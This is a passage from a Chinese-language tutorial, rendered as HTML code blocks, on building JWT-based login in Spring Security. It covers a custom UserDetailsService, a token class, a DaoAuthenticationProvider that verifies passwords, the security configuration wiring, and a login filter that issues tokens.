enabled, <span class="type">boolean</span> accountNonExpired, <span class="type">boolean</span> credentialsNonExpired, <span class="type">boolean</span> accountNonLocked, Collection&lt;? extends GrantedAuthority&gt; authorities)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(username, password, enabled, accountNonExpired, credentialsNonExpired, accountNonLocked, authorities);</span><br><span class="line">        <span class="built_in">this</span>.id = id;</span><br><span class="line">        <span class="built_in">this</span>.phone = phone;</span><br><span class="line">        <span class="built_in">this</span>.avatar = avatar;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>查询权限集合、用户信息、角色列表等信息构建SysUser</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomUserServiceImpl</span> <span class="keyword">implements</span> <span class="title class_">UserDetailsService</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> SysUserService sysUserService;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> UserDetails <span class="title function_">loadUserByUsername</span><span class="params">(String username)</span> <span class="keyword">throws</span> UsernameNotFoundException &#123;</span><br><span class="line">        <span class="type">UserInfo</span> <span class="variable">userInfo</span> <span class="operator">=</span> sysUserService.findUserInfoByUserName(username);</span><br><span class="line">        <span class="keyword">if</span> (userInfo == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UsernameNotFoundException</span>(<span class="string">&quot;指定用户不存在!&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 权限标识的集合</span></span><br><span class="line">        Set&lt;String&gt; dbAuthsSet = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;(Arrays.asList(userInfo.getPermissions()));</span><br><span class="line">        Collection&lt;? <span class="keyword">extends</span> <span class="title class_">GrantedAuthority</span>&gt; authorities</span><br><span class="line">                = AuthorityUtils.createAuthorityList(dbAuthsSet.toArray(<span class="keyword">new</span> <span class="title class_">String</span>[<span class="number">0</span>]));</span><br><span class="line">        <span class="type">SysUserEntity</span> <span class="variable">user</span> <span class="operator">=</span> userInfo.getSysUser();</span><br><span class="line">        <span class="comment">// 判断用户是否为正常使用的状态</span></span><br><span class="line">        <span class="type">boolean</span> <span class="variable">enabled</span> <span class="operator">=</span> StrUtil.equals(user.getLockFlag(), SecurityConstant.STATUS_NORMAL);</span><br><span class="line">        <span class="comment">// @formatter:off</span></span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">SysUser</span>(</span><br><span class="line">                <span class="comment">// 用户id</span></span><br><span class="line">                user.getUserId(),</span><br><span class="line">                <span class="comment">// 用户手机号</span></span><br><span class="line">                user.getPhone(),</span><br><span class="line">                <span class="comment">// 用户头像</span></span><br><span class="line">                user.getAvatar(),</span><br><span class="line">                <span class="comment">// 用户名</span></span><br><span class="line">                user.getUsername(),</span><br><span class="line">                <span class="comment">// 密码</span></span><br><span class="line">                user.getPassword(),</span><br><span class="line">                <span class="comment">// 用户账号是否为正常使用的状态</span></span><br><span class="line">                enabled,</span><br><span class="line">                <span class="literal">true</span>,</span><br><span class="line">                <span class="literal">true</span>,</span><br><span class="line">                <span class="comment">// 判断用户是否为锁定状态</span></span><br><span class="line">                !SecurityConstant.STATUS_LOCK.equals(user.getLockFlag()),</span><br><span class="line">                <span class="comment">// 权限列表</span></span><br><span class="line">                authorities</span><br><span class="line">        );</span><br><span class="line">        <span class="comment">// @formatter:on</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>自定义登录后返回的字段和内容，自定义一个类<code>CustomJwtToken</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomJwtToken</span> <span class="keyword">implements</span> <span class="title class_">Serializable</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">serialVersionUID</span> <span class="operator">=</span> <span class="number">2149134569530465633L</span>;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@JsonIgnore</span></span><br><span class="line">    <span class="keyword">private</span> String value;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * token</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String token;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="type">String</span> <span class="variable">tokenType</span> <span class="operator">=</span> BEARER_TYPE.toLowerCase();</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 权限集合</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> Set&lt;String&gt; permissions;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">CustomJwtToken</span><span class="params">(String value)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.value = value;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@SuppressWarnings(&quot;unused&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> <span class="title function_">CustomJwtToken</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>((String) <span class="literal">null</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setValue</span><span class="params">(String value)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.value = value;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * The token value.</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> The token value.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getValue</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> value;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setToken</span><span class="params">(String token)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.token = token;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getToken</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> token;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">equals</span><span class="params">(Object obj)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> obj != <span class="literal">null</span> &amp;&amp; toString().equals(obj.toString());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hashCode</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> toString().hashCode();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">toString</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> String.valueOf(getValue());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getTokenType</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> tokenType;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setTokenType</span><span class="params">(String tokenType)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.tokenType = tokenType;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> Set&lt;String&gt; <span class="title function_">getPermissions</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> permissions;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setPermissions</span><span class="params">(Collection&lt;? extends GrantedAuthority&gt; authorities)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.permissions = authorities.stream().map(GrantedAuthority::getAuthority).collect(Collectors.toSet());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>自定义一个身份认证器，并在其中自定义整个登录认证逻辑</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomDaoAuthenticationProvider</span> <span class="keyword">extends</span> <span class="title class_">DaoAuthenticationProvider</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * The plaintext password used to perform PasswordEncoder#matches(CharSequence,</span></span><br><span class="line"><span class="comment">     * String)&#125; on when the user is not found to avoid SEC-2056.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">USER_NOT_FOUND_PASSWORD</span> <span class="operator">=</span> <span class="string">&quot;userNotFoundPassword&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> PasswordEncoder passwordEncoder;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * The password used to perform &#123;<span class="doctag">@link</span> PasswordEncoder#matches(CharSequence, String)&#125;</span></span><br><span class="line"><span class="comment">     * on when the user is not found to avoid SEC-2056. This is necessary, because some</span></span><br><span class="line"><span class="comment">     * &#123;<span class="doctag">@link</span> PasswordEncoder&#125; implementations will short circuit if the password is not</span></span><br><span class="line"><span class="comment">     * in a valid format.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">volatile</span> String userNotFoundEncodedPassword;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> UserDetailsService userDetailsService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> UserDetailsPasswordService userDetailsPasswordService;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * user 属性校验</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Setter</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">UserDetailsChecker</span> <span class="variable">preAuthenticationChecks</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AccountStatusUserDetailsChecker</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">CustomDaoAuthenticationProvider</span><span class="params">()</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Authentication <span class="title function_">authenticate</span><span class="params">(Authentication authentication)</span> <span class="keyword">throws</span> AuthenticationException &#123;</span><br><span class="line">        <span class="comment">// 可以在此处覆写整个登录认证逻辑</span></span><br><span class="line">        <span class="keyword">if</span> (authentication.getCredentials() == <span class="literal">null</span>) &#123;</span><br><span class="line">            log.debug(<span class="string">&quot;Failed to authenticate since no credentials provided&quot;</span>);</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">BadCredentialsException</span>(<span class="string">&quot;Bad credentials&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 手机号</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">userName</span> <span class="operator">=</span> authentication.getName();</span><br><span class="line">        <span class="type">UserDetails</span> <span class="variable">userDetails</span> <span class="operator">=</span> <span class="built_in">this</span>.userDetailsService.loadUserByUsername(userName);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 校验账号是否禁用</span></span><br><span class="line">        preAuthenticationChecks.check(userDetails);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 账号密码校验</span></span><br><span class="line">        additionalAuthenticationChecks(userDetails,</span><br><span class="line">                (UsernamePasswordAuthenticationToken) authentication);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 提供用户名、密码、权限列表供SecurityLoginFilter使用</span></span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">UsernamePasswordAuthenticationToken</span>(userName, userDetails.getPassword(), userDetails.getAuthorities());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="meta">@SuppressWarnings(&quot;deprecation&quot;)</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">additionalAuthenticationChecks</span><span class="params">(UserDetails userDetails,</span></span><br><span class="line"><span class="params">                                                  UsernamePasswordAuthenticationToken authentication)</span> <span class="keyword">throws</span> AuthenticationException &#123;</span><br><span class="line">        <span class="comment">// 可以在此覆写整个密码校验逻辑</span></span><br><span class="line">        <span class="keyword">if</span> (authentication.getCredentials() == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="built_in">this</span>.logger.debug(<span class="string">&quot;Failed to authenticate since no credentials provided&quot;</span>);</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">BadCredentialsException</span>(<span class="built_in">this</span>.messages</span><br><span class="line">                    .getMessage(<span class="string">&quot;AbstractUserDetailsAuthenticationProvider.badCredentials&quot;</span>, <span class="string">&quot;Bad credentials&quot;</span>));</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">String</span> <span class="variable">presentedPassword</span> <span class="operator">=</span> authentication.getCredentials().toString();</span><br><span class="line">        <span class="keyword">if</span> (!<span class="built_in">this</span>.passwordEncoder.matches(presentedPassword, userDetails.getPassword())) &#123;</span><br><span class="line">            <span class="built_in">this</span>.logger.debug(<span class="string">&quot;Failed to authenticate since password does not match stored value&quot;</span>);</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">BadCredentialsException</span>(<span class="built_in">this</span>.messages</span><br><span class="line">                    .getMessage(<span class="string">&quot;AbstractUserDetailsAuthenticationProvider.badCredentials&quot;</span>, <span class="string">&quot;Bad credentials&quot;</span>));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> Authentication <span class="title function_">createSuccessAuthentication</span><span class="params">(Object principal, Authentication authentication,</span></span><br><span class="line"><span class="params">                                                         UserDetails user)</span> &#123;</span><br><span class="line">        <span class="type">boolean</span> <span class="variable">upgradeEncoding</span> <span class="operator">=</span> <span class="built_in">this</span>.userDetailsPasswordService != <span class="literal">null</span></span><br><span class="line">                &amp;&amp; <span class="built_in">this</span>.passwordEncoder.upgradeEncoding(user.getPassword());</span><br><span class="line">        <span class="keyword">if</span> (upgradeEncoding) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">presentedPassword</span> <span class="operator">=</span> authentication.getCredentials().toString();</span><br><span class="line">            <span class="type">String</span> <span class="variable">newPassword</span> <span class="operator">=</span> <span class="built_in">this</span>.passwordEncoder.encode(presentedPassword);</span><br><span class="line">            user = <span class="built_in">this</span>.userDetailsPasswordService.updatePassword(user, newPassword);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">super</span>.createSuccessAuthentication(principal, authentication, user);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * Sets the PasswordEncoder instance to be used to encode and validate passwords. If</span></span><br><span class="line"><span class="comment">     * not set, the password will be compared using</span></span><br><span class="line"><span class="comment">     * &#123;<span class="doctag">@link</span> PasswordEncoderFactories#createDelegatingPasswordEncoder()&#125;</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> passwordEncoder must be an instance of one of the &#123;<span class="doctag">@code</span> PasswordEncoder&#125;</span></span><br><span class="line"><span class="comment">     *                        types.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setPasswordEncoder</span><span class="params">(PasswordEncoder passwordEncoder)</span> &#123;</span><br><span class="line">        Assert.notNull(passwordEncoder, <span class="string">&quot;passwordEncoder cannot be null&quot;</span>);</span><br><span class="line">        <span class="built_in">this</span>.passwordEncoder = passwordEncoder;</span><br><span class="line">        <span class="built_in">this</span>.userNotFoundEncodedPassword = <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">protected</span> PasswordEncoder <span class="title function_">getPasswordEncoder</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.passwordEncoder;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setUserDetailsService</span><span class="params">(UserDetailsService userDetailsService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userDetailsService = userDetailsService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">protected</span> UserDetailsService <span class="title function_">getUserDetailsService</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>.userDetailsService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setUserDetailsPasswordService</span><span class="params">(UserDetailsPasswordService userDetailsPasswordService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userDetailsPasswordService = userDetailsPasswordService;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>将自定义的身份认证逻辑设置进<code>WebSecurityConfig</code>策略中</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">configure</span><span class="params">(AuthenticationManagerBuilder auth)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="comment">// 自定义身份认证器</span></span><br><span class="line">    <span class="type">CustomDaoAuthenticationProvider</span> <span class="variable">daoAuthenticationProvider</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CustomDaoAuthenticationProvider</span>();</span><br><span class="line">    <span class="comment">// 指定加密方式</span></span><br><span class="line">    daoAuthenticationProvider.setPasswordEncoder(passwordEncoder());</span><br><span class="line">    <span class="comment">// 用户账号密码、权限等信息获取</span></span><br><span class="line">    daoAuthenticationProvider.setUserDetailsService(customUserService);</span><br><span class="line">    auth.authenticationProvider(daoAuthenticationProvider);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>添加登陆过滤器，检查输入的用户名和密码，并根据认证结果决定是否将这一结果传递给下一个过滤器。验证成功则颁发token</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SecurityLoginFilter</span> <span class="keyword">extends</span> <span class="title class_">UsernamePasswordAuthenticationFilter</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> AuthenticationManager authenticationManager;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">SecurityLoginFilter</span><span class="params">(AuthenticationManager authenticationManager)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.authenticationManager = authenticationManager;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 尝试身份认证(接收并解析用户凭证)</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> request</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> response</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> AuthenticationException</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@SneakyThrows</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Authentication <span class="title function_">attemptAuthentication</span><span class="params">(HttpServletRequest request, HttpServletResponse response)</span> <span class="keyword">throws</span> AuthenticationException &#123;</span><br><span class="line">        <span class="type">LoginDTO</span> <span class="variable">user</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectMapper</span>().readValue(request.getInputStream(), LoginDTO.class);</span><br><span class="line">        <span class="keyword">return</span> authenticationManager.authenticate(</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">UsernamePasswordAuthenticationToken</span>(</span><br><span class="line">                        user.getUsername(),</span><br><span class="line">                        user.getPassword(),</span><br><span class="line">                        <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;()</span><br><span class="line">                ));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 认证成功(用户成功登录后，这个方法会被调用，生成token)</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> request</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> response</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> chain</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> auth</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> IOException</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> ServletException</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">successfulAuthentication</span><span class="params">(HttpServletRequest request,</span></span><br><span class="line"><span class="params">                                            HttpServletResponse response,</span></span><br><span class="line"><span class="params">                                            FilterChain chain,</span></span><br><span class="line"><span class="params">                                            Authentication auth)</span> <span class="keyword">throws</span> IOException, ServletException &#123;</span><br><span class="line">        <span 